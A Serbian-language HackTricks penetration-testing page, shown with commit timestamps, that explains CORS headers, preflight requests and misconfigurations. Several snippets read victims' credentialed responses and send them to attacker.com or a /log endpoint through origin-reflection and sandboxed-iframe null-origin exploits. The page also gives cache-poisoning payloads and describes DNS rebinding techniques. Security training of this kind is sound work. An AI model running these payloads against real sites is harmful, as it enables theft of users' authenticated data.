hacktricks/pentesting-web/cors-bypass.md

388 lines
29 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# CORS - Netačne konfiguracije i zaobilaženje
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Šta je CORS?
2024-02-10 13:11:20 +00:00
Cross-Origin Resource Sharing (CORS) standard **omogućava serverima da definišu ko može pristupiti njihovim resursima** i **koje HTTP metode zahteva su dozvoljene** sa spoljnih izvora.
2024-02-10 13:11:20 +00:00
Politika **iste porekla** zahteva da **server koji zahteva** resurs i server koji **hostuje** resurs dele isti protokol (npr. `http://`), ime domena (npr. `internal-web.com`) i **port** (npr. 80). Prema ovoj politici, samo veb stranice sa istog domena i porta imaju dozvoljen pristup resursima.
2024-02-10 13:11:20 +00:00
Primena politike istog porekla u kontekstu `http://normal-website.com/example/example.html` je prikazana na sledeći način:
2024-02-10 13:11:20 +00:00
| Pristupani URL | Dozvoljen pristup? |
| ----------------------------------------- | ---------------------------------- |
2024-02-10 13:11:20 +00:00
| `http://normal-website.com/example/` | Da: Identičan protokol, domen i port |
| `http://normal-website.com/example2/` | Da: Identičan protokol, domen i port |
| `https://normal-website.com/example/` | Ne: Različit protokol i port |
| `http://en.normal-website.com/example/` | Ne: Različit domen |
| `http://www.normal-website.com/example/` | Ne: Različit domen |
| `http://normal-website.com:8080/example/` | Ne: Različit port* |
2024-02-10 13:11:20 +00:00
*Internet Explorer zanemaruje broj porta prilikom primene politike istog porekla, čime se omogućava ovaj pristup.
2024-02-10 13:11:20 +00:00
### `Access-Control-Allow-Origin` zaglavlje
2024-02-10 13:11:20 +00:00
Ovo zaglavlje može dozvoliti **više porekla**, vrednost **`null`** ili specijalni karakter **`*`**. Međutim, **nijedan pregledač ne podržava više porekla**, a upotreba specijalnog karaktera `*` je podložna **ograničenjima**. (Specijalni karakter `*` mora biti korišćen samostalno, a njegova upotreba zajedno sa `Access-Control-Allow-Credentials: true` nije dozvoljena.)
2024-02-10 13:11:20 +00:00
Ovo zaglavlje **izdaje server** kao odgovor na zahtev za resurs iz drugog domena koji je inicirao veb stranica, pri čemu pregledač automatski dodaje zaglavlje `Origin`.
2024-02-10 13:11:20 +00:00
### `Access-Control-Allow-Credentials` zaglavlje
2024-02-10 13:11:20 +00:00
Podrazumevano, zahtevi sa drugog domena se šalju bez akreditacija kao što su kolačići ili Authorization zaglavlje. Međutim, server sa drugog domena može dozvoliti čitanje odgovora kada se šalju akreditacije postavljanjem zaglavlja `Access-Control-Allow-Credentials` na **`true`**.
2024-02-10 13:11:20 +00:00
Ako je postavljeno na `true`, pregledač će prenositi akreditacije (kolačiće, Authorization zaglavlja ili TLS klijentske sertifikate).
```javascript
var xhr = new XMLHttpRequest();
2021-06-15 19:55:10 +00:00
xhr.onreadystatechange = function() {
2024-02-10 13:11:20 +00:00
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
2021-06-15 19:55:10 +00:00
}
2024-02-10 13:11:20 +00:00
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```
```javascript
fetch(url, {
2024-02-10 13:11:20 +00:00
credentials: 'include'
})
```
2021-04-12 11:42:31 +00:00
```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
2024-02-10 13:11:20 +00:00
### CSRF Pre-flight zahtev
2021-04-12 11:42:31 +00:00
2024-02-10 13:11:20 +00:00
### Razumevanje Pre-flight zahteva u komunikaciji između domena
2021-11-30 16:46:07 +00:00
2024-02-10 13:11:20 +00:00
Kada se pokrene zahtev između domena pod određenim uslovima, kao što je korišćenje **ne-standardne HTTP metode** (bilo koja osim HEAD, GET, POST), uvođenje novih **headera**, ili korišćenje posebne vrednosti **Content-Type headera**, može biti potreban pre-flight zahtev. Ovaj preliminarni zahtev, koji koristi metodu **`OPTIONS`**, služi da obavesti server o namerama nadolazećeg zahteva između domena, uključujući HTTP metode i headere koje namerava da koristi.
2021-11-30 16:46:07 +00:00
2024-02-10 13:11:20 +00:00
Protokol **Cross-Origin Resource Sharing (CORS)** propisuje ovu proveru pre-flight zahteva kako bi se utvrdila izvodljivost tražene operacije između domena, proverom dozvoljenih metoda, headera i pouzdanosti porekla. Za detaljnije razumevanje uslova koji izbegavaju potrebu za pre-flight zahtevom, pogledajte sveobuhvatni vodič koji pruža [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
2021-11-30 16:46:07 +00:00
2024-02-10 13:11:20 +00:00
Važno je napomenuti da **odsustvo pre-flight zahteva ne ukida potrebu da odgovor nosi autorizacione headere**. Bez ovih headera, pregledač je nesposoban da obradi odgovor između domena.
2024-02-10 13:11:20 +00:00
Razmotrite sledeći prikaz pre-flight zahteva koji ima za cilj korišćenje metode `PUT` zajedno sa prilagođenim headerom nazvanim `Special-Request-Header`:
```
2024-02-05 20:00:40 +00:00
OPTIONS /info HTTP/1.1
Host: example2.com
...
2024-02-05 20:00:40 +00:00
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
2024-02-10 13:11:20 +00:00
Kao odgovor, server može vratiti zaglavlja koja ukazuju na prihvaćene metode, dozvoljeni izvor i druge detalje politike CORS-a, kao što je prikazano ispod:
2024-02-05 20:00:40 +00:00
```markdown
HTTP/1.1 204 No Content
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
2024-02-10 13:11:20 +00:00
- **`Access-Control-Allow-Headers`**: Ovaj zaglavlje specificira koje zaglavlja mogu biti korišćena tokom stvarnog zahteva. Postavlja ga server da bi označio dozvoljena zaglavlja u zahtevima od klijenta.
- **`Access-Control-Expose-Headers`**: Kroz ovo zaglavlje, server obaveštava klijenta o tome koja zaglavlja mogu biti prikazana kao deo odgovora, osim jednostavnih zaglavlja odgovora.
- **`Access-Control-Max-Age`**: Ovo zaglavlje označava koliko dugo rezultati pre-flight zahteva mogu biti keširani. Server postavlja maksimalno vreme, u sekundama, koje se može ponovo koristiti informacija vraćena pre-flight zahtevom.
- **`Access-Control-Request-Headers`**: Koristi se u pre-flight zahtevima, ovo zaglavlje postavlja klijent da obavesti server o tome koja HTTP zaglavlja klijent želi da koristi u stvarnom zahtevu.
- **`Access-Control-Request-Method`**: Ovo zaglavlje, takođe korišćeno u pre-flight zahtevima, postavlja klijent da označi koji HTTP metod će biti korišćen u stvarnom zahtevu.
- **`Origin`**: Ovo zaglavlje automatski postavlja pregledač i označava poreklo zahteva sa različitog porekla. Koristi ga server da proceni da li dolazni zahtev treba da bude dozvoljen ili odbijen na osnovu CORS politike.
2024-02-10 13:11:20 +00:00
Imajte na umu da obično (zavisno od tipa sadržaja i postavljenih zaglavlja) u **GET/POST zahtevu se ne šalje pre-flight zahtev** (zahtev se šalje **direktno**), ali ako želite da pristupite **zaglavljima/telu odgovora**, mora sadržati zaglavlje _Access-Control-Allow-Origin_ koje to dozvoljava.\
**Stoga, CORS ne štiti od CSRF (ali može biti korisno).**
2024-02-10 13:11:20 +00:00
### **Pre-flight zahtevi lokalne mreže**
2024-02-10 13:11:20 +00:00
1. **`Access-Control-Request-Local-Network`**: Ovo zaglavlje se uključuje u zahtev klijenta da označi da je upit usmeren na resurs lokalne mreže. Služi kao oznaka koja obaveštava server da zahtev potiče iz lokalne mreže.
2024-02-10 13:11:20 +00:00
2. **`Access-Control-Allow-Local-Network`**: Kao odgovor, serveri koriste ovo zaglavlje da komuniciraju da je traženi resurs dozvoljen da se deli sa entitetima van lokalne mreže. Deluje kao zeleno svetlo za deljenje resursa preko različitih granica mreže, obezbeđujući kontrolisan pristup uz održavanje sigurnosnih protokola.
2024-02-10 13:11:20 +00:00
**Validan odgovor koji dozvoljava zahtev lokalne mreže** takođe mora imati u odgovoru zaglavlje `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Imajte na umu da IP adresa **0.0.0.0** na linuxu omogućava **zaobilaženje** ovih zahteva za pristup lokalnom računaru jer se ta IP adresa ne smatra "lokalnom".
2024-02-10 13:11:20 +00:00
Takođe je moguće **zaobići zahteve lokalne mreže** ako koristite **javnu IP adresu lokalnog endpoina** (kao što je javna IP adresa rutera). Jer u nekoliko slučajeva, čak i ako se pristupa **javnoj IP adresi**, ako je to **iz lokalne mreže**, pristup će biti odobren.
{% endhint %}
2024-02-10 13:11:20 +00:00
## Iskorišćive greške u konfiguraciji
2024-02-10 13:11:20 +00:00
Primećeno je da je podešavanje `Access-Control-Allow-Credentials` na **`true`** preduslov za većinu **stvarnih napada**. Ovo podešavanje omogućava pregledaču da šalje akreditive i čita odgovor, čime se povećava efikasnost napada. Bez toga, prednost izdavanja zahteva preko pregledača umesto ručnog izdavanja zahteva se smanjuje, jer postaje nemoguće iskoristiti kolačiće korisnika.
2024-02-10 13:11:20 +00:00
### Izuzetak: Iskorišćavanje mrežne lokacije kao autentifikacije
2024-02-10 13:11:20 +00:00
Postoji izuzetak gde mrežna lokacija žrtve deluje kao oblik autentifikacije. To omogućava korišćenje pregledača žrtve kao proxy-ja, zaobilazeći autentifikaciju zasnovanu na IP adresi kako bi se pristupilo aplikacijama unutar mreže. Ovaj metod ima sličnosti sa DNS prevezivanjem, ali je jednostavniji za iskorišćavanje.
2024-02-10 13:11:20 +00:00
### Refleksija `Origin` u `Access-Control-Allow-Origin`
2024-02-10 13:11:20 +00:00
Realni scenario gde se vrednost zaglavlja `Origin` reflektuje u `Access-Control-Allow-Origin` je teorijski malo verovatan zbog ograničenja u kombinovanju ovih zaglavlja. Međutim, programeri koji žele omogućiti CORS za više URL-ova mogu dinamički generisati zaglavlje `Access-Control-Allow-Origin` kopiranjem vrednosti zaglavlja `Origin`. Ovaj pristup može uvesti ranjivosti, posebno kada napadač koristi domen sa imenom koje je dizajnirano da izgleda legitimno, čime obmanjuje logiku validacije.
2021-11-30 16:46:07 +00:00
```html
<script>
2024-02-10 13:11:20 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
2021-11-30 16:46:07 +00:00
</script>
```
2024-02-10 13:11:20 +00:00
### Iskorišćavanje `null` porekla
2021-11-30 16:46:07 +00:00
2024-02-10 13:11:20 +00:00
`null` poreklo, koje se koristi u situacijama poput preusmeravanja ili lokalnih HTML datoteka, ima poseban položaj. Neke aplikacije stavljaju ovo poreklo na belu listu kako bi olakšale lokalni razvoj, nesvesno omogućavajući bilo kojoj veb lokaciji da imitira `null` poreklo putem sandboxed iframe-a, čime se zaobilaze CORS ograničenja.
2021-11-30 16:46:07 +00:00
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
2024-02-10 13:11:20 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
2024-02-10 13:11:20 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
2024-02-10 13:11:20 +00:00
### Tehnike za zaobilaženje redovnih izraza
2024-02-10 13:11:20 +00:00
Kada se susretnete sa belom listom domena, ključno je testirati mogućnosti za zaobilaženje, kao što je dodavanje napadačevog domena na belu listu domena ili iskorišćavanje ranjivosti preuzimanja poddomena. Pored toga, redovni izrazi koji se koriste za validaciju domena mogu zanemariti nijanse u konvencijama imenovanja domena, pružajući dodatne mogućnosti za zaobilaženje.
2024-02-10 13:11:20 +00:00
### Napredne tehnike za zaobilaženje redovnih izraza
2024-02-10 13:11:20 +00:00
Obično se regex obrasci fokusiraju na alfanumeričke znakove, tačku (.), i crticu (-), zanemarujući druge mogućnosti. Na primer, ime domena koje je kreirano da uključuje znakove koji se različito tumače u pregledačima i regex obrascima može zaobići sigurnosne provere. Način na koji Safari, Chrome i Firefox obrađuju donje crte u poddomenima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.
2024-02-10 13:11:20 +00:00
**Za više informacija i postavki ove tehnike za zaobilaženje proverite:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
2024-02-05 20:00:40 +00:00
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
2024-02-10 13:11:20 +00:00
### Iz XSS unutar poddomena
2024-02-10 13:11:20 +00:00
Razvojni programeri često implementiraju odbrambene mehanizme kako bi se zaštitili od iskorišćavanja CORS-a putem bele liste domena kojima je dozvoljeno da zahtevaju informacije. Uprkos ovim merama opreza, sigurnost sistema nije neprobojna. Prisustvo čak i jednog ranjivog poddomena unutar belih listiranih domena može otvoriti vrata za iskorišćavanje CORS-a putem drugih ranjivosti, kao što je XSS (Cross-Site Scripting).
2024-02-10 13:11:20 +00:00
Da bismo ilustrovali, razmotrimo scenario u kojem je domen `requester.com` na beloj listi za pristup resursima sa drugog domena, `provider.com`. Konfiguracija na serverskoj strani može izgledati ovako:
```javascript
2024-02-05 20:00:40 +00:00
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
2024-02-10 13:11:20 +00:00
// Access data
2024-02-05 20:00:40 +00:00
} else {
2024-02-10 13:11:20 +00:00
// Unauthorized access
2021-04-22 13:58:44 +00:00
}
```
2024-02-10 13:11:20 +00:00
U ovom postavci, dozvoljen je pristup svim poddomenima `requester.com`. Međutim, ako je poddomen, na primer `sub.requester.com`, kompromitovan sa XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač koji ima pristup `sub.requester.com` može iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na `provider.com`.
2024-02-10 13:11:20 +00:00
### **Trovanje keša na serverskoj strani**
2024-02-05 20:00:40 +00:00
2024-02-10 13:11:20 +00:00
**[Iz ovog istraživanja](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
2024-02-10 13:11:20 +00:00
Moguće je da se, iskorišćavanjem trovanja keša na serverskoj strani putem ubrizgavanja HTTP zaglavlja, izazove XSS ranjivost sačuvana na serveru. Ovaj scenario se dešava kada aplikacija ne sanitizuje `Origin` zaglavlje od nelegalnih karaktera, stvarajući ranjivost posebno za korisnike Internet Explorer-a i Edge-a. Ovi pregledači tretiraju `\r` (0x0d) kao legitimni terminator HTTP zaglavlja, što dovodi do ranjivosti ubrizgavanja HTTP zaglavlja.
2024-02-10 13:11:20 +00:00
Razmotrite sledeći zahtev u kojem je manipulisano `Origin` zaglavlje:
2024-02-05 20:00:40 +00:00
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
2024-02-10 13:11:20 +00:00
Internet Explorer i Edge tumače odgovor kao:
2024-02-05 20:00:40 +00:00
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
2024-02-10 13:11:20 +00:00
Dok direktno iskorišćavanje ove ranjivosti putem slanja neispravnog zaglavlja pretraživaču nije izvodljivo, za ručno generisanje zahteva mogu se koristiti alati poput Burp Suite-a. Ovom metodom može doći do čuvanja odgovora u kešu na serverskoj strani i nenamerno ga posluživanja drugima. Ciljani payload ima za cilj da promeni karakterni skup stranice u UTF-7, kodiranje karaktera koje se često povezuje sa XSS ranjivostima zbog svoje sposobnosti da kodira karaktere na način koji se može izvršiti kao skripta u određenim kontekstima.
2024-02-10 13:11:20 +00:00
Za dalje čitanje o ranjivostima sačuvanog XSS-a, pogledajte [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
2024-02-10 13:11:20 +00:00
**Napomena**: Iskorišćavanje ranjivosti ubrizgavanja zaglavlja HTTP-a, posebno putem trovanja keša na serverskoj strani, ističe kritičnu važnost provere i sanitizacije svih korisničkih unosa, uključujući zaglavlja HTTP-a. Uvek koristite robustan model bezbednosti koji uključuje proveru unosa kako biste sprečili takve ranjivosti.
2024-02-10 13:11:20 +00:00
### **Trovanje keša na klijentskoj strani**
2024-02-10 13:11:20 +00:00
**[Iz ovog istraživanja](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
2021-04-22 13:58:44 +00:00
2024-02-10 13:11:20 +00:00
U ovom scenariju primećuje se instanca veb stranice koja reflektuje sadržaj prilagođenog zaglavlja HTTP-a bez odgovarajućeg kodiranja. Konkretno, veb stranica reflektuje sadržaj uključen u zaglavlje `X-User-id`, koje može sadržati zlonamerni JavaScript, kao što je prikazano primerom u kojem zaglavlje sadrži SVG oznaku slike dizajniranu za izvršavanje JavaScript koda pri učitavanju.
2024-02-10 13:11:20 +00:00
Politike deljenja resursa preko različitih domena (CORS) omogućavaju slanje prilagođenih zaglavlja. Međutim, bez direktnog prikazivanja odgovora od strane pretraživača zbog CORS ograničenja, korisnost takvog ubrizgavanja može izgledati ograničena. Kritična tačka nastaje kada se razmotri ponašanje keša pretraživača. Ako nije navedeno zaglavlje `Vary: Origin`, postaje moguće da zlonamerni odgovor bude keširan od strane pretraživača. Naknadno, ovaj keširani odgovor može se direktno prikazati prilikom navigacije na URL, zaobilazeći potrebu za direktnim prikazivanjem prilikom prvog zahteva. Ovaj mehanizam poboljšava pouzdanost napada korišćenjem keširanja na klijentskoj strani.
2024-02-10 13:11:20 +00:00
Da bi se ilustrovalo ovaj napad, pružen je primer JavaScript koda koji je dizajniran da se izvrši u okruženju veb stranice, kao što je putem JSFiddle-a. Ovaj skript izvršava jednostavnu radnju: šalje zahtev na određeni URL sa prilagođenim zaglavljem koje sadrži zlonamerni JavaScript. Nakon uspešnog završetka zahteva, pokušava da navigira ka ciljanom URL-u, potencijalno pokrećući izvršavanje ubačenog skripta ako je odgovor keširan bez odgovarajuće obrade zaglavlja `Vary: Origin`.
2024-02-05 20:00:40 +00:00
2024-02-10 13:11:20 +00:00
Evo sažetog pregleda JavaScript koda koji se koristi za izvršavanje ovog napada:
2024-02-05 20:00:40 +00:00
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
2024-02-05 20:00:40 +00:00
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
2024-02-05 20:00:40 +00:00
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
2022-05-02 00:28:26 +00:00
## Bypass
2022-05-02 00:28:26 +00:00
### XSSI (Cross-Site Script Inclusion) / JSONP
2024-02-10 13:11:20 +00:00
XSSI, poznat i kao Cross-Site Script Inclusion, je vrsta ranjivosti koja koristi činjenicu da se Pravilo o istom poreklu (SOP) ne primenjuje prilikom uključivanja resursa pomoću oznake za skriptu. Ovo je zato što skripte moraju biti uključene sa različitih domena. Ova ranjivost omogućava napadaču pristup i čitanje bilo kog sadržaja koji je uključen pomoću oznake za skriptu.
2024-02-10 13:11:20 +00:00
Ova ranjivost postaje posebno značajna kada je u pitanju dinamički JavaScript ili JSONP (JSON sa dodatnim punjenjem), posebno kada se koriste informacije o ambijentalnoj autorizaciji poput kolačića. Prilikom zahteva za resurs sa druge hostovanje, kolačići se uključuju, čime postaju dostupni napadaču.
2024-02-05 20:00:40 +00:00
2024-02-10 13:11:20 +00:00
Da biste bolje razumeli i umanjili ovu ranjivost, možete koristiti dodatak za BurpSuite dostupan na [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ovaj dodatak može pomoći u identifikaciji i rešavanju potencijalnih XSSI ranjivosti u vašim veb aplikacijama.
2024-02-10 13:11:20 +00:00
[**Pročitajte više o različitim vrstama XSSI i kako ih iskoristiti ovde.**](xssi-cross-site-script-inclusion.md)
2024-02-10 13:11:20 +00:00
Pokušajte da dodate **`callback`** **parametar** u zahtev. Možda je stranica bila pripremljena da pošalje podatke kao JSONP. U tom slučaju, stranica će vratiti podatke sa `Content-Type: application/javascript`, što će zaobići CORS politiku.
![](<../.gitbook/assets/image (229).png>)
2024-02-10 13:11:20 +00:00
### Jednostavna (beskorisna?) zaobilaženje
Jedan način za zaobilaženje restrikcije `Access-Control-Allow-Origin` je da se zatraži od veb aplikacije da izvrši zahtev u vaše ime i vrati odgovor. Međutim, u ovom scenariju, podaci o kredencijalima krajnje žrtve neće biti poslati jer se zahtev šalje ka drugoj domeni.
2024-02-10 13:11:20 +00:00
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Ovaj alat pruža proksi koji prosleđuje vaš zahtev zajedno sa njegovim zaglavljima, dok istovremeno lažira Origin zaglavlje kako bi se poklopilo sa traženom domenom. Ovo efektivno zaobilazi CORS politiku. Evo primera upotrebe sa XMLHttpRequest:
2024-02-10 13:11:20 +00:00
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Ovaj alat nudi alternativni pristup proksiranju zahteva. Umesto da prosleđuje vaš zahtev onakav kakav jeste, server vrši sopstveni zahtev sa navedenim parametrima.
2024-02-10 13:11:20 +00:00
### Iframe + Popup zaobilaženje
2022-04-29 14:06:04 +00:00
2024-02-10 13:11:20 +00:00
Možete **zaobići CORS provere** kao što je `e.origin === window.origin` tako što ćete **kreirati iframe** i **iz njega otvoriti novi prozor**. Više informacija možete pronaći na sledećoj stranici:
2022-04-29 14:06:04 +00:00
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
### DNS Rebinding putem TTL-a
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
DNS rebinding putem TTL-a je tehnika koja se koristi za zaobilaženje određenih sigurnosnih mera manipulacijom DNS zapisa. Evo kako funkcioniše:
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
1. Napadač kreira veb stranicu i natera žrtvu da je pristupi.
2. Napadač zatim menja DNS (IP) svoje sopstvene domene tako da pokazuje na veb stranicu žrtve.
3. Pregledač žrtve kešira DNS odgovor, koji može imati TTL (vreme života) vrednost koja označava koliko dugo treba smatrati DNS zapis validnim.
4. Kada TTL istekne, pregledač žrtve vrši novi DNS zahtev, što omogućava napadaču da izvrši JavaScript kod na stranici žrtve.
5. Održavanjem kontrole nad IP adresom žrtve, napadač može prikupiti informacije od žrtve bez slanja bilo kakvih kolačića serveru žrtve.
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
Važno je napomenuti da pregledači imaju mehanizme keširanja koji mogu sprečiti trenutno zloupotrebu ove tehnike, čak i sa niskim vrednostima TTL-a.
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
DNS rebinding može biti koristan za zaobilaženje eksplicitnih IP provera koje vrši žrtva ili za scenarije u kojima korisnik ili bot ostaje na istoj stranici duže vreme, omogućavajući keširanju da istekne.
2024-02-10 13:11:20 +00:00
Ako vam je potreban brz način za zloupotrebu DNS rebindinga, možete koristiti usluge poput [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
2022-04-29 15:51:30 +00:00
2024-02-10 13:11:20 +00:00
Da biste pokrenuli sopstveni DNS rebinding server, možete koristiti alate poput **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). To uključuje izlaganje lokalnog porta 53/udp, kreiranje A zapisa koji pokazuje na taj port (npr. ns.example.com) i kreiranje NS zapisa koji pokazuje na prethodno kreirani poddomen A zapisa (npr. ns.example.com). Svaki poddomen poddomena ns.example.com će tada biti rešen od strane vašeg hosta.
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
Takođe možete istražiti javno dostupan server na adresi [http://rebind.it/singularity.html](http://rebind.it/singularity.html) radi daljeg razumevanja i eksperimentisanja.
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
### DNS Rebinding putem **preplavljivanja DNS keša**
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
DNS rebinding putem preplavljivanja DNS keša je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pregledača i izazivanje drugog DNS zahteva. Evo kako funkcioniše:
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
1. Prvobitno, kada žrtva izvrši DNS zahtev, dobija se IP adresa napadača kao odgovor.
2. Da bi zaobišao odbranu keširanja, napadač koristi servisni radnik. Servisni radnik preplavljuje DNS keš, što efektivno briše keširano ime servera napadača.
3. Kada pregledač žrtve izvrši drugi DNS zahtev, dobija se IP adresa 127.0.0.1, koja obično se odnosi na lokalni računar.
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
Preplavljanjem DNS keša servisnim radnikom, napadač može manipulisati procesom DNS rezolucije i naterati pregledač žrtve da izvrši drugi zahtev, ovog puta sa željenom IP adresom napadača.
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
### DNS Rebinding putem **keša**
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
Još jedan način za zaobilaženje odbrane keširanja je korišćenje više IP adresa za isti poddomen u DNS provajderu. Evo kako funkcioniše:
2022-04-30 03:02:38 +00:00
2024-02-10 13:11:20 +00:00
1. Napadač postavlja dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti poddomen u DNS provajderu.
2. Kada pregledač proveri ove zapise, dobija obe IP adrese.
3. Ako pregledač odluči da prvo koristi IP adresu napadača, napadač može poslužiti payload koji izvršava HTTP zahteve ka istoj domeni.
4. Međutim, kada napadač dobije IP adresu žrtve, prestaje da odgovara pregledaču žrtve.
5. Pregledač žrtve, kada shvati da je domen nedostupan, prelazi na korišćenje druge date IP adrese.
6. Pristupom drugoj IP adresi, pregledač zaobilazi Pravilo o istom poreklu (SOP), omogućavajući napadaču da zloupotrebi ovo i prikupi i izfiltrira informacije.
2022-04-30 00:02:29 +00:00
2024-02-10 13:11:20 +00:00
Ova tehnika koristi ponašanje pregledača kada se pruže više IP adresa za domen. Strategijskim kontrolisanjem odgovora i manipulacijom izbora IP adrese
### Ostali uobičajeni zaobiđaji
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
* Ako **unutrašnje IP adrese nisu dozvoljene**, možda su **zaboravili zabraniti 0.0.0.0** (radi na Linuxu i Mac-u)
* Ako **unutrašnje IP adrese nisu dozvoljene**, odgovorite sa **CNAME** na **localhost** (radi na Linuxu i Mac-u)
* Ako **unutrašnje IP adrese nisu dozvoljene** kao DNS odgovori, možete odgovoriti **CNAME-ovima na unutrašnje servise** kao što je www.corporate.internal.
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
### Oružje za DNS prevezivanje
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
Više informacija o prethodnim tehnikama zaobiđaja i kako koristiti sledeći alat možete pronaći u predavanju [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
